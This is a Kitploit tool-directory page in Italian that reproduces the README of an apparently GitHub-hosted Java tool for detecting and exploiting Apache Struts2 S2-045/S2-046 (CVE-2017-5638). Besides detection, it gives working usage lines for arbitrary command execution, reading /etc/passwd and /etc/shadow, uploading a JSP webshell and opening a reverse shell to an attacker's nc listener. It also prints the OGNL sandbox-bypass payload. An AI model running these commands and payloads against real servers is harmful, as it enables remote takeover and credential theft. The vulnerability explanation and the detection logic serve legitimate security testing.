Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
struts2-tool — Struts2 S2-045/S2-046 CVE-2017-5638 strumento di rilevamento e sfruttamento | Kitploit
Strumenti/GitHubGitHub/gu-007/struts2-tool
Scanner di VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingCommand and ControlStrumento di Accesso RemotoSviluppo Payload
GitHubgu-007/struts2-tool

struts2-tool

Struts2 S2-045/S2-046 CVE-2017-5638 strumento di rilevamento e sfruttamento

Vedi Repository
14h 13m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Strumento di rilevamento e sfruttamento delle vulnerabilità Struts2 (s2tool)

Uno strumento di rilevamento e sfruttamento delle vulnerabilità Struts2 S2-045 / S2-046 (CVE-2017-5638) implementato puramente in Java. Il modulo di rilevamento copre le due vulnerabilità S2-045 / S2-046, mentre il modulo di sfruttamento offre capacità come esecuzione di comandi, gestione file, raccolta informazioni, shell interattiva, reverse shell, upload di webshell e altro.

Disclaimer: questo strumento è destinato esclusivamente a test di sicurezza autorizzati, ricerca sulle vulnerabilità e scopi didattici. È severamente vietato l'uso per scopi illegali non autorizzati; l'utente si assume ogni responsabilità legale.


Panoramica delle funzionalità

ModuloSottocomandoDescrizione
Rilevamento vulnerabilitàscanRileva S2-045 / S2-046 (verifica matematica + marcatura fingerprint UUID)
Scansione batchbatchRileva più target in batch, genera report riepilogativi e JSON
Esecuzione comandiexecEsecuzione di comandi di sistema arbitrari + output (adattamento automatico Win/Linux)
Shell interattivashellInterazione continua, persistenza directory cd, comandi integrati pwd/webroot/os
Upload fileuploadScrittura diretta OGNL (file piccoli) / scrittura segmentata tramite comandi (file grandi)
Download filedownloadDownload con codifica Base64 (sicuro per binari)
Directory root WebgetpathOttiene il percorso di distribuzione fisica dell'applicazione Web
Informazioni di sistemasysinfoInformazioni su OS / utente / kernel / directory di lavoro
Reverse shellrevshellReverse shell bash / PowerShell con un comando
Upload WebshellwebshellGenera e carica una JSP Webshell (stile ?CMD= in chiaro)
Esportazione reportscan -rReport JSON / HTML

La funzione di download può leggere file arbitrari dal server (ad es. /etc/shadow); utilizzare solo in test autorizzati.


Avvio rapido

Requisiti di ambiente

  • JDK 8 o superiore
  • Maven 3.x (necessario solo per la compilazione; l'esecuzione dello strumento non richiede Maven)

Compilazione (Windows)

root@kitploit:~
:: Eseguire nella directory del progetto
.\build.bat

In PowerShell è necessario il prefisso .\; in cmd si può eseguire direttamente build.bat. build.bat si occupa solo della compilazione e non effettua alcuna richiesta di rete o scansione. Al termine della compilazione la finestra rimane aperta e si entra in una sessione cmd (si possono eseguire direttamente i comandi dello strumento; digitare exit per chiudere). Se il proprio ambiente non può scrivere nel repository Maven predefinito, impostare prima la variabile d'ambiente M2_REPO su una directory scrivibile.

Output: target\s2tool.jar (fat-jar).

Per Linux/Mac fare riferimento a build.sh

Esempi di utilizzo

root@kitploit:~
# 1. Rilevamento vulnerabilità
java -jar s2tool.jar scan http://target/action

# 2. Rilevamento + esportazione report JSON/HTML
java -jar s2tool.jar scan http://target/action -r both

# 3. Esecuzione comandi
java -jar s2tool.jar exec http://target/action whoami
java -jar s2tool.jar exec http://target/action "cat /etc/passwd | head -5"

# 4. Shell interattiva
java -jar s2tool.jar shell http://target/action

# 5. Ottenere directory root Web / informazioni di sistema
java -jar s2tool.jar getpath http://target/action
java -jar s2tool.jar sysinfo http://target/action

# 6. Upload / download file
java -jar s2tool.jar upload http://target/action shell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
java -jar s2tool.jar download http://target/action /etc/passwd ./passwd.txt

# 7. Upload Webshell con un comando (stile ?CMD= in chiaro)
java -jar s2tool.jar webshell http://target/action --name shell.jsp
# Accesso: http://target/shell.jsp?CMD=whoami

# 8. Reverse shell (prima mettere in ascolto la macchina attaccante: nc -lvnp 4444)
java -jar s2tool.jar revshell http://target/action --lhost 192.168.1.100 --lport 4444

# 9. Scansione batch
java -jar s2tool.jar batch targets.txt -r json

Formato del file target per scansione batch

root@kitploit:~
# Le righe di commento iniziano con # (ignorate automaticamente)
http://192.168.1.10:8080/login.action
https://vuln.example.com/action

Principi tecnici

S2-045 / S2-046 (CVE-2017-5638)

Intervallo di versioni dell'annuncio ufficiale (entrambe le vulnerabilità si basano sugli annunci ufficiali Apache, per consentire all'utente di valutare se il target è interessato):

VulnerabilitàCVEVersioni interessate (versioni vulnerabili)Versioni corrette (versioni con patch)
S2-045CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 o 2.5.10.1 e successive
S2-046CVE-2017-5638Struts2 2.3.5 ~ 2.3.31、2.5 ~ 2.5.102.3.32 o 2.5.10.1 e successive

Questo strumento non si basa sul giudizio della versione, ma determina direttamente l'esistenza della vulnerabilità tramite i risultati dei payload, poiché l'identificazione della versione non è affidabile (molti siti nascondono il numero di versione). La tabella sopra è solo di riferimento per la valutazione manuale, e non influisce sulla logica di rilevamento dello strumento.

Per S2-046, lo strumento supporta sia il percorso di rilevamento tramite iniezione di byte nulli nel filename sia quello tramite Content-Type con la stessa causa principale.

Principio della vulnerabilità:

  • Stesso punto di attivazione: quando il parser Jakarta Multipart genera un'eccezione durante l'analisi, il contenuto dell'intestazione controllabile dall'utente (S2-045: Content-Type; S2-046: filename di Content-Disposition) viene concatenato nel messaggio di eccezione, che viene poi valutato da OGNL tramite il processo di elaborazione del testo internazionalizzato di Struts2 (TextParseUtil.translateVariables)
  • Metodi di sfruttamento diversi: S2-045 viene attivato tramite un Content-Type non valido; S2-046 tramite byte nulli nel filename (richiede commons-fileupload 1.3.3+) o Content-Length eccessivo (richiede configurazione jakarta-stream)

Bypass della sandbox

root@kitploit:~
(#nike='multipart/form-data')                       // Maschera il Content-Type, supera il controllo contains
(#[email protected]@DEFAULT_MEMBER_ACCESS)       // Ottiene il MemberAccess con i privilegi più elevati
(#_memberAccess?(#_memberAccess=#dm):               // Versioni basse: sostituzione diretta
  ((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
   (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
   (#ognlUtil.getExcludedPackageNames().clear())     // Svuota la blacklist dei nomi pacchetto
   (#ognlUtil.getExcludedClasses().clear())          // Svuota la blacklist delle classi
   (#context.setMemberAccess(#dm))))                 // Versioni alte: sostituzione dopo lo svuotamento della blacklist

Testato: su Struts2 2.3.30 la versione semplificata (solo setMemberAccess) non riesce a bypassare la sandbox, è necessario utilizzare la versione completa (con il percorso di svuotamento della blacklist tramite OgnlUtil).

Strategia di rilevamento

TecnicaPrincipioDescrizione
Verifica matematicaOGNL esegue 88888888-23333+1222, se la risposta contiene 88866777 la vulnerabilità esisteFormula POC pubblica
Marcatura fingerprint UUIDInietta un UUID casuale e lo restituisce nel corpo della rispostaAlta precisione, non influenzata dalla latenza di rete
Rilevamento ritardoDifferenza temporale Thread.sleep(6000) (solo fallback per S2-045 senza output)Soglia >3.6s

Regola di giudizio: se la verifica matematica o la marcatura fingerprint viene rilevata → confermata presente; solo ritardo rilevato → probabilmente presente; nessun rilevamento → assente.


Struttura del progetto

root@kitploit:~
struts2-vuln-tool/
├── pom.xml                        # Build Maven (packaging fat-jar con shade)
├── build.bat / build.sh           # Script di build (Windows verificato / Linux di riferimento)
├── src/main/java/com/s2tool/
│   ├── Launcher.java              # Punto di ingresso principale (CLI Picocli)
│   ├── core/                      # Motore principale: client HTTP / costruzione payload / analisi risposta / parsing target
│   ├── plugins/                   # Architettura plugin vulnerabilità (punti di estensione)
│   │   └── impl/                  #   Plugin di rilevamento S2_045 / S2_046
│   ├── modules/                   # Moduli funzionali: pianificazione rilevamento / riconoscimento fingerprint / esecuzione comandi / gestione file / shell ecc.
│   ├── report/                    # Generazione report (console / JSON / HTML)
│   └── utils/                     # Utilità di logging
├── src/main/resources/            # Configurazione logging / riferimento payload
└── src/test/                      # Test unitari JUnit

Riferimenti

Articoli su principi e tecniche delle vulnerabilità:

  • Annuncio ufficiale Apache Struts S2-045 (CVE-2017-5638)
  • Analisi dell'iniezione OGNL S2-045 e bypass della tripla sandbox (Comunità sviluppatori Tencent Cloud)(Riferimento payload)
  • Analisi del principio della vulnerabilità S2-046 (Anquanke)

Progetti open source di riferimento (durante lo sviluppo di questo progetto sono state consultate le idee e i payload dei seguenti repository):

  • Flyteas/Struts2-045-Exp —— Modelli di payload per esecuzione comandi / ottenimento directory root Web / scrittura file JSP
  • Z-0ne/ScanS2-045-Nmap —— Idee per scansione batch, modalità di marcatura delle caratteristiche di risposta
  • abc123info/Struts2VulsScanTools —— Idee di progettazione complessiva dello strumento di rilevamento multi-vulnerabilità (separazione tra rilevamento e sfruttamento)

Licenza

Solo per test di sicurezza autorizzati e per scopi di studio e ricerca.

È severamente vietato l'uso per scopi illegali non autorizzati; l'utente si assume ogni responsabilità legale.

Scarica lo strumento